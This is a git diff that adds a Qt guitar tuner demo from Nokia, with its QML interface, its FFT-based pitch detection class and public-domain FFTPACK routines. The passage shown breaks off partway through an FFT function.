+ sodipodi:ry="268.70059"
+ d="m 181.82746,472.53461 c 0,148.39924 -52.46224,268.70059 -117.177695,268.70059 -64.71545463,0 -117.177696,-120.30135 -117.177696,-268.70059 0,-148.39924 52.46224137,-268.7006 117.177696,-268.7006 64.715455,0 117.177695,120.30136 117.177695,268.7006 z"
+ transform="matrix(2.8726899,0,0,1.0798196,168.84482,21.881457)" />
+ <path
+ style="fill:none;stroke:#000000;stroke-width:10;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none"
+ d="m 355.87166,686.47203 0,-381.77521"
+ id="path2816"
+ sodipodi:nodetypes="cc" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:5;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ id="path2818"
+ sodipodi:cx="284.86301"
+ sodipodi:cy="703.85956"
+ sodipodi:rx="80.812202"
+ sodipodi:ry="83.842659"
+ d="m 365.67521,703.85956 c 0,46.30502 -36.18086,83.84266 -80.8122,83.84266 -44.63135,0 -80.81221,-37.53764 -80.81221,-83.84266 0,-46.30502 36.18086,-83.84266 80.81221,-83.84266 44.63134,0 80.8122,37.53764 80.8122,83.84266 z"
+ transform="matrix(0.86662604,0,0,0.86662604,41.962127,84.107402)" />
+ <path
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:3.49788642;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ d="M 498.23775,478.96203 C 487.43102,436.20815 446.22124,431.4938 416.5823,423.48582 381.21648,411.5191 365.03425,382.76349 358.75673,339.52089 l -2.02761,-36.99987 c 12.76379,33.73415 40.64336,44.6109 67.22015,53.67478 46.38196,11.01541 67.31525,50.25786 74.72373,107.8334 0.48397,6.08567 0.99901,19.27869 0.75259,19.27869 -0.0715,0 -0.60616,-1.95564 -1.1881,-4.34586 l 0,0 2.6e-4,0 z"
+ id="path3618"
+ sodipodi:nodetypes="ccccccsccc" />
+ <path
+ style="fill:none;stroke:#ff0000;stroke-width:16;stroke-linecap:round;stroke-linejoin:miter;stroke-opacity:1;stroke-miterlimit:4;stroke-dasharray:none"
+ d="m 176.92972,346.31704 369.5113,373.55192"
+ id="path2817" />
+ </g>
+</svg>
diff --git a/demos/mobile/guitartuner/src/application.qml b/demos/mobile/guitartuner/src/application.qml
new file mode 100644
index 00000000..c18e64c5
--- /dev/null
+++ b/demos/mobile/guitartuner/src/application.qml
@@ -0,0 +1,328 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "mycomponents"
+
+/* The base canvas for all QML drawing. */
+Rectangle {
+ id: application
+
+ property int targetNoteIndex: 0
+ property alias frequency: noteChooser.currentFrequency
+ //Data provided to C++.
+ property bool isInput: true
+ property bool isMuted: false
+ property bool isAuto: true
+ property alias maxVoiceDifference: voiceDifferenceMeter.maxValue
+ property real volume: 0.5
+ property real sensitivity: 0.5
+
+ //Signals to C++.
+ signal volumeChanged(real volume)
+ signal microphoneSensitivityChanged(real sensitivity)
+ signal targetFrequencyChanged(real frequency)
+ signal modeChanged(bool isInput)
+ signal muteStateChanged(bool isMuted)
+
+ //Slots for signals coming from C++.
+ function voiceDifferenceChanged(difference) {
+ if (isAuto) timer.running = true;
+ voiceDifferenceMeter.valueChanged(difference);
+ noteImage.glowing = false
+ }
+ function correctFrequencyObtained() {
+ noteImage.glowing = true
+ }
+ function lowVoice() {
+ noteImage.glowing = false
+ }
+
+ //Private function for changing the target frequency automatically.
+ function calculateTargetFrequency(difference) {
+ var tempDifference = Math.abs(difference);
+ var tempIndex = targetNoteIndex
+ while (!(difference < 0 && tempIndex == 0) &&
+ tempDifference >= notes.get(tempIndex-(difference<0)).interval/2) {
+ tempDifference -= notes.get(tempIndex-(difference<0)).interval;
+ tempIndex += difference/Math.abs(difference);
+ }
+ if (tempIndex != targetNoteIndex) {
+ targetNoteIndex = tempIndex
+ noteChooser.currentFrequency = notes.get(targetNoteIndex).frequency;
+ targetFrequencyChanged(frequency);
+ }
+ }
+
+ width: 360; height: 640
+ color: "black"
+
+ //Provides data for functions.
+ NotesModel {id: notes}
+
+ /* A timer for changing the target frequency automatically.
+ * This is needed for avoiding recursion. */
+ Timer {
+ id: timer
+
+ interval: 1
+ onTriggered: calculateTargetFrequency(voiceDifferenceMeter.value)
+ }
+
+ //A meter for showing the difference between current and target frequency.
+ Meter {
+ id: voiceDifferenceMeter
+
+ maxValue: 12
+ minValue: -maxValue
+ height: imageSize.height/background.sourceSize.height*parent.height
+ width: imageSize.width/background.sourceSize.width*parent.width
+ anchors {
+ topMargin: 100/background.sourceSize.height*parent.height
+ horizontalCenter: parent.horizontalCenter
+ top: parent.top
+ }
+ }
+
+ Image {
+ id: background
+
+ anchors.fill: parent
+ smooth: true
+ source: "./mycomponents/images/guitartuner_skin.png"
+ }
+
+ //A button for quitting the application.
+ Image {
+ id: quitButton
+
+ width: sourceSize.width/background.sourceSize.width*parent.width
+ height: sourceSize.height/background.sourceSize.height*parent.height
+ source: "./mycomponents/images/power.png"
+ smooth: true
+ KeyNavigation.up: volumeAdjuster
+ KeyNavigation.down: modeButton
+ Keys.onEnterPressed: Qt.quit()
+ anchors{
+ leftMargin: 297/background.sourceSize.width*parent.width
+ left: parent.left;
+ topMargin: 17/background.sourceSize.height*parent.height
+ top: parent.top
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: Qt.quit()
+ }
+ }
+
+ //An image for showing the target note.
+ Image {
+ id: noteImage
+
+ property bool glowing: false
+
+ width: sourceSize.width/background.sourceSize.width*parent.width
+ height: sourceSize.height/background.sourceSize.height*parent.height
+ source: glowing ? notes.get(targetNoteIndex).glowSource : notes.get(targetNoteIndex).bigSource
+
+ anchors {
+ topMargin: 273/background.sourceSize.height*parent.height
+ top: parent.top
+ horizontalCenter: parent.horizontalCenter
+ }
+ }
+
+ //A button for choosing the input/output mode.
+ Image {
+ id: modeButton
+
+ function buttonPressed() {
+ isInput = !isInput
+ modeChanged(isInput)
+ if (isInput) {
+ soundIcons.source = "./mycomponents/images/sensitivity.png"
+ source = "./mycomponents/images/voicemode_off.png"
+ volumeAdjuster.setValue(sensitivity)
+ }
+ else {
+ //Change off from "auto" mode
+ if (isAuto) {
+ noteChooser.pushButton(targetNoteIndex)
+ }
+ if (isMuted) {
+ soundIcons.source = "./mycomponents/images/volume_off.png";
+ }
+ else
+ soundIcons.source = "./mycomponents/images/volume.png"
+ source = "./mycomponents/images/voicemode_on.png"
+ volumeAdjuster.setValue(volume)
+ }
+ }
+
+ width: sourceSize.width/background.sourceSize.width*parent.width
+ height: sourceSize.height/background.sourceSize.height*parent.height
+ smooth: true
+ source: "./mycomponents/images/voicemode_off.png"
+ KeyNavigation.up: quitButton
+ KeyNavigation.down: noteChooser
+ Keys.onEnterPressed: buttonPressed()
+ anchors {
+ leftMargin: 16/background.sourceSize.width*parent.width
+ left: parent.left
+ topMargin: 353/background.sourceSize.height*parent.height
+ top: parent.top
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ parent.focus = true
+ parent.scale = 0.95
+ }
+ onReleased: {
+ parent.scale = 1/0.95
+ }
+ onClicked: parent.buttonPressed()
+ }
+ }
+
+ //Buttons for choosing the target note.
+ NoteButtonView {
+ id: noteChooser
+
+ width: parent.width*0.95; height: width/model.count
+ onNoteSelected: {
+ if (note == "Auto") {
+ if (!isAuto) {
+ isAuto = true
+ }
+ if (!isInput) {
+ modeButton.buttonPressed()
+ }
+ }
+ else {
+ timer.running = false;
+ isAuto = false
+ targetNoteIndex = index
+ targetFrequencyChanged(frequency)
+ }
+ focus = true
+ }
+ KeyNavigation.up: modeButton
+ KeyNavigation.down: soundIcons
+ anchors {
+ horizontalCenter: parent.horizontalCenter
+ topMargin: 454/background.sourceSize.height*parent.height
+ top: parent.top
+ }
+ }
+
+ //An element for showing the mode and changing the mute state.
+ Image {
+ id: soundIcons
+
+ function stateChanged() {
+ isMuted = !isMuted
+ muteStateChanged(isMuted)
+ if (isMuted) {
+ source = "qrc:/src/mycomponents/images/volume_off.png"
+ }
+ else {
+ source = "qrc:/src/mycomponents/images/volume.png"
+ }
+ }
+
+ width: sourceSize.width/background.sourceSize.width*parent.width
+ height: sourceSize.height/background.sourceSize.height*parent.height
+ smooth: true
+ source: "./mycomponents/images/sensitivity.png"
+ Keys.onEnterPressed: stateChanged()
+ KeyNavigation.up: noteChooser
+ KeyNavigation.down: quitButton
+ KeyNavigation.left: volumeAdjuster
+ KeyNavigation.right: volumeAdjuster
+ anchors {
+ leftMargin: 42/background.sourceSize.width*parent.width
+ left: parent.left
+ topMargin: 565/background.sourceSize.height*parent.height
+ top: parent.top
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!isInput) {
+ parent.stateChanged()
+ }
+ parent.focus = true
+ }
+ }
+ }
+
+ //An element for adjusting volume.
+ Adjuster {
+ id: volumeAdjuster
+
+ max: 1
+ value: 0.5
+ width: 222/background.sourceSize.width*parent.width
+ height: parent.height*0.1
+ onFocusChangedByClick: focus = true
+ onArrowPressedWhenValueOverLimits: soundIcons.focus = true
+ KeyNavigation.up: modeButton
+ KeyNavigation.down: quitButton
+ anchors {
+ leftMargin: 98/background.sourceSize.width*parent.width
+ left: parent.left
+ verticalCenter: soundIcons.verticalCenter
+ }
+ onValueChanged: {
+ if (isInput) {
+ sensitivity = value;
+ microphoneSensitivityChanged(1-sensitivity)
+ }
+ else {
+ volume = value
+ volumeChanged(volume)
+ }
+ }
+ }
+}
diff --git a/demos/mobile/guitartuner/src/constants.h b/demos/mobile/guitartuner/src/constants.h
new file mode 100644
index 00000000..ab53cbea
--- /dev/null
+++ b/demos/mobile/guitartuner/src/constants.h
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef CONSTANTS_H
+#define CONSTANTS_H
+
+#define M_MAX_AMPLITUDE_8BIT_SIGNED 127
+#define M_MAX_AMPLITUDE_8BIT_UNSIGNED 255
+#define M_MAX_AMPLITUDE_16BIT_SIGNED 32767
+#define M_MAX_AMPLITUDE_16BIT_UNSIGNED 65535
+
+#define M_TWELTH_ROOT_OF_2 1.05946309435930000000
+
+// M_SAMPLE_COUNT_MULTIPLIER is 2/(M_TWELTH_ROOT_OF_2 - 1)
+#define M_SAMPLE_COUNT_MULTIPLIER 33.63430749021150000000
+
+#endif // CONSTANTS_H
diff --git a/demos/mobile/guitartuner/src/fastfouriertransformer.cpp b/demos/mobile/guitartuner/src/fastfouriertransformer.cpp
new file mode 100644
index 00000000..275d36b2
--- /dev/null
+++ b/demos/mobile/guitartuner/src/fastfouriertransformer.cpp
@@ -0,0 +1,184 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "fastfouriertransformer.h"
+#include "math.h"
+
+#define STIN inline
+#define __STATIC
+
+#include "fftpack.c"
+
+// called by __ogg_fdrffti
+__STATIC void drfti1(int n, float *wa, int *ifac);
+void __ogg_fdrffti(int n, float *wsave, int *ifac);
+void __ogg_fdcosqi(int n, float *wsave, int *ifac);
+// called by drftf1
+STIN void dradf2(int ido,int l1,float *cc,float *ch,float *wa1);
+// called by drftf1
+STIN void dradf4(int ido,int l1,float *cc,float *ch,float *wa1,
+ float *wa2,float *wa3);
+// called by drftf1
+STIN void dradfg(int ido,int ip,int l1,int idl1,float *cc,float *c1,
+ float *c2,float *ch,float *ch2,float *wa);
+// called by drftf1
+STIN void drftf1(int n,float *c,float *ch,float *wa,int *ifac);
+void __ogg_fdrfftf(int n,float *r,float *wsave,int *ifac);
+STIN void dcsqf1(int n,float *x,float *w,float *xh,int *ifac);
+void __ogg_fdcosqf(int n,float *x,float *wsave,int *ifac);
+STIN void dradb2(int ido,int l1,float *cc,float *ch,float *wa1);
+STIN void dradb3(int ido,int l1,float *cc,float *ch,float *wa1,
+ float *wa2);
+STIN void dradb4(int ido,int l1,float *cc,float *ch,float *wa1,
+ float *wa2,float *wa3);
+STIN void dradbg(int ido,int ip,int l1,int idl1,float *cc,float *c1,
+ float *c2,float *ch,float *ch2,float *wa);
+STIN void drftb1(int n, float *c, float *ch, float *wa, int *ifac);
+void __ogg_fdrfftb(int n, float *r, float *wsave, int *ifac);
+STIN void dcsqb1(int n,float *x,float *w,float *xh,int *ifac);
+void __ogg_fdcosqb(int n,float *x,float *wsave,int *ifac);
+
+FastFourierTransformer::FastFourierTransformer(QObject *parent) :
+ QObject(parent),
+ m_waveFloat(0),
+ m_workingArray(0),
+ m_ifac(0),
+ m_last_n(-1)
+{
+}
+
+FastFourierTransformer::~FastFourierTransformer()
+{
+ if (m_waveFloat != 0) {
+ delete [] m_waveFloat;
+ }
+ if (m_workingArray != 0) {
+ delete [] m_workingArray;
+ }
+ if (m_ifac != 0) {
+ delete [] m_ifac;
+ }
+}
+
+/**
+ * Prepares the arrays to be of length n.
+ */
+void FastFourierTransformer::reserve(int n)
+{
+ Q_ASSERT(n>0);
+ if (m_waveFloat != 0) {
+ delete [] m_waveFloat;
+ }
+ if (m_workingArray != 0) {
+ delete [] m_workingArray;
+ }
+ if (m_ifac != 0) {
+ delete [] m_ifac;
+ }
+ m_workingArray = new float[2*n+15];
+ m_waveFloat = new float[n];
+ m_ifac = new int[n];
+ __ogg_fdrffti(n, m_workingArray, m_ifac);
+ m_last_n = n;
+}
+
+/**
+ * Calculates the Fast Fourier Transformation (FFT).
+ */
+void FastFourierTransformer::calculateFFT(QList<qint16> wave)
+{
+ const int n = wave.size();
+ if (m_last_n != n) {
+ reserve(n);
+ }
+ for (int i = 0; i < n; i++) {
+ m_waveFloat[i] = (float) wave.at(i);
+ }
+
+ __ogg_fdrfftf(n, m_waveFloat, m_workingArray, m_ifac);
+
+}
+
+/**
+ * Returns the index which corresponds to the maximum density
+ * of the FFT.
+ */
+int FastFourierTransformer::getMaximumDensityIndex()
+{
+ const int halfN = m_last_n / 2;
+ float maxDensity = 0;
+ int maxDensityIndex = 0;
+ float densitySquared = 0.f;
+ for (int k = 1; k < halfN; k++) {
+ // Here, we calculate the frequency k/N.
+ // k=1, the wave oscillation time is N, and the frequency
+ // is 1/sample.
+ // k=2, the wave oscillation time is N/2, and the frequency
+ // is 2/sample.
+ // k=3, the wave oscillation time is N/3, and the frequency
+ // is 3/sample.
+ // Note, that the documentation is for Fortran, so indexes in the
+ // documentation does not match.
+ // The sine and cosine coefficients are obtained thus as follows:
+ const float cosCoefficient = qAbs(m_waveFloat[2*k-1]);
+ const float sinCoefficient = qAbs(m_waveFloat[2*k]);
+
+ densitySquared = sinCoefficient*sinCoefficient + cosCoefficient*cosCoefficient;
+ if (densitySquared > maxDensity) {
+ maxDensity = densitySquared;
+ maxDensityIndex = k;
+ }
+ }
+
+ if (m_cutOffForDensitySquared < maxDensity) {
+ return maxDensityIndex;
+ }
+ else {
+ return -1;
+ }
+}
+
+/**
+ * Sets the cutoff density.
+ */
+void FastFourierTransformer::setCutOffForDensity(float cutoff)
+{
+ m_cutOffForDensitySquared = cutoff*cutoff;
+}
diff --git a/demos/mobile/guitartuner/src/fastfouriertransformer.h b/demos/mobile/guitartuner/src/fastfouriertransformer.h
new file mode 100644
index 00000000..b8064f7a
--- /dev/null
+++ b/demos/mobile/guitartuner/src/fastfouriertransformer.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef FASTFOURIERTRANSFORM_H
+#define FASTFOURIERTRANSFORM_H
+
+#include <QObject>
+#include <QList>
+
+class FastFourierTransformer : public QObject
+{
+ Q_OBJECT
+
+public:
+ FastFourierTransformer(QObject *parent = 0);
+ ~FastFourierTransformer();
+ void reserve(int n);
+ void calculateFFT(QList<qint16> wave);
+ int getMaximumDensityIndex();
+ void setCutOffForDensity(float cutoff);
+
+private:
+ float *m_waveFloat;
+ float *m_workingArray;
+ int *m_ifac;
+ int m_last_n;
+ float m_cutOffForDensitySquared;
+};
+
+#endif // FASTFOURIERTRANSFORM_H
diff --git a/demos/mobile/guitartuner/src/fftpack.c b/demos/mobile/guitartuner/src/fftpack.c
new file mode 100644
index 00000000..43109408
--- /dev/null
+++ b/demos/mobile/guitartuner/src/fftpack.c
@@ -0,0 +1,1406 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/********************************************************************
+
+ The routines in this file are from http://www.netlib.org/fftpack/.
+ According to the comments in the original file (which are provided below)
+ and according to the wikipedia article about the FFTPACK[1],
+ they are released as public domain.
+
+ For information about the author of the original, Fortran routines,
+ and the author of the C translation these routines,
+ see the comments below.
+
+ [1] http://en.wikipedia.org/wiki/FFTPACK, referenced 2010-12-21.
+
+ ********************************************************************/
+
+/********************************************************************
+
+ file: fft.c
+ function: Fast discrete Fourier and cosine transforms and inverses
+ author: Monty <xiphmont@mit.edu>
+ modifications by: Monty
+ last modification date: Jul 1 1996
+
+ ********************************************************************/
+
+/* These Fourier routines were originally based on the Fourier
+ routines of the same names from the NETLIB bihar and fftpack
+ fortran libraries developed by Paul N. Swarztrauber at the National
+ Center for Atmospheric Research in Boulder, CO USA. They have been
+ reimplemented in C and optimized in a few ways for OggSquish. */
+
+/* As the original fortran libraries are public domain, the C Fourier
+ routines in this file are hereby released to the public domain as
+ well. The C routines here produce output exactly equivalent to the
+ original fortran routines. Of particular interest are the facts
+ that (like the original fortran), these routines can work on
+ arbitrary length vectors that need not be powers of two in
+ length. */
+
+#include <math.h>
+
+__STATIC void drfti1(int n, float *wa, int *ifac){
+ static int ntryh[4] = { 4,2,3,5 };
+ static float tpi = 6.28318530717958647692528676655900577;
+ float arg,argh,argld,fi;
+ int ntry=0,i,j=-1;
+ int k1, l1, l2, ib;
+ int ld, ii, ip, is, nq, nr;
+ int ido, ipm, nfm1;
+ int nl=n;
+ int nf=0;
+
+ L101:
+ j++;
+ if (j < 4)
+ ntry=ntryh[j];
+ else
+ ntry+=2;
+
+ L104:
+ nq=nl/ntry;
+ nr=nl-ntry*nq;
+ if (nr!=0) goto L101;
+
+ nf++;
+ ifac[nf+1]=ntry;
+ nl=nq;
+ if (ntry!=2) goto L107;
+ if (nf==1) goto L107;
+
+ for (i=1;i<nf;i++){
+ ib=nf-i+1;
+ ifac[ib+1]=ifac[ib];
+ }
+ ifac[2] = 2;
+
+ L107:
+ if (nl!=1) goto L104;
+ ifac[0]=n;
+ ifac[1]=nf;
+ argh=tpi/n;
+ is=0;
+ nfm1=nf-1;
+ l1=1;
+
+ if (nfm1==0) return;
+
+ for (k1=0;k1<nfm1;k1++){
+ ip=ifac[k1+2];
+ ld=0;
+ l2=l1*ip;
+ ido=n/l2;
+ ipm=ip-1;
+
+ for (j=0;j<ipm;j++){
+ ld+=l1;
+ i=is;
+ argld=(float)ld*argh;
+ fi=0.;
+ for (ii=2;ii<ido;ii+=2){
+ fi+=1.;
+ arg=fi*argld;
+ wa[i++]=cos(arg);
+ wa[i++]=sin(arg);
+ }
+ is+=ido;
+ }
+ l1=l2;
+ }
+}
+
+void __ogg_fdrffti(int n, float *wsave, int *ifac){
+
+ if (n == 1) return;
+ drfti1(n, wsave+n, ifac);
+}
+
+void __ogg_fdcosqi(int n, float *wsave, int *ifac){
+ static float pih = 1.57079632679489661923132169163975;
+ static int k;
+ static float fk, dt;
+
+ dt=pih/n;
+ fk=0.;
+ for (k=0;k<n;k++){
+ fk+=1.;
+ wsave[k] = cos(fk*dt);
+ }
+
+ __ogg_fdrffti(n, wsave+n,ifac);
+}
+
+STIN void dradf2(int ido,int l1,float *cc,float *ch,float *wa1){
+ int i,k;
+ float ti2,tr2;
+ int t0,t1,t2,t3,t4,t5,t6;
+
+ t1=0;
+ t0=(t2=l1*ido);
+ t3=ido<<1;
+ for (k=0;k<l1;k++){
+ ch[t1<<1]=cc[t1]+cc[t2];
+ ch[(t1<<1)+t3-1]=cc[t1]-cc[t2];
+ t1+=ido;
+ t2+=ido;
+ }
+
+ if (ido<2) return;
+ if (ido==2) goto L105;
+
+ t1=0;
+ t2=t0;
+ for (k=0;k<l1;k++){
+ t3=t2;
+ t4=(t1<<1)+(ido<<1);
+ t5=t1;
